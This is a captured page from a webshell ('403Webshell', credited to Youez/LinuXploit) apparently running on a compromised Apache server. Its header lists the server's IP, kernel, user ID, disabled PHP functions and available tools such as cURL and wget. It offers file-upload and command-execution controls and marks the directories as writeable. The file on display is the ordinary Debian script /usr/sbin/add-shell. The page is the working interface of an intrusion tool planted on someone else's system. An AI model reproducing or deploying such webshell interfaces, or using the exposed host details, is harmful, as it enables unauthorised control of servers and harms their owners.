403Webshell
Server IP : 185.125.27.153  /  Your IP : 216.73.216.193
Web Server : Apache
System : Linux d6e05399ed1f11695f7c56648ed78c66 6.1.0-0.deb11.50-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.176-1~deb11u1 (2026-07-02) x86_64
User : uid174255 ( 174255)
PHP Version : 8.3.31
Disable Function : exec,passthru,pcntl_exec,popen,proc_open,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/sbin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/sbin/add-shell
#!/bin/sh -e

if test $# -eq 0
then
        echo "usage: $0 shellname [shellname ...]"
        exit 1
fi

file=/etc/shells
# I want this to be GUARANTEED to be on the same filesystem as $file
tmpfile="${file}.tmp"

set -o noclobber

cleanup() {
	rm -f "$tmpfile"
}
trap cleanup EXIT

if ! awk '{print}' "$file" > "$tmpfile"
then
        cat 1>&2 <<EOF
Either another instance of $0 is running, or it was previously interrupted.
Please examine ${tmpfile} to see if it should be moved onto ${file}.
EOF
        exit 1
fi

for i
do
        REALDIR="$(dirname "$(realpath -m "$i")")/$(basename "$i")"
        for j in "$i" "$REALDIR"
        do
                if ! grep -q "^${j}$" "$tmpfile"
                then
                        echo "$j" >> "$tmpfile"
                fi
        done
done

chmod --reference="$file" "$tmpfile"
chown --reference="$file" "$tmpfile"

mv "$tmpfile" "$file"

trap "" EXIT
exit 0

Youez - 2016 - github.com/yon3zu
LinuXploit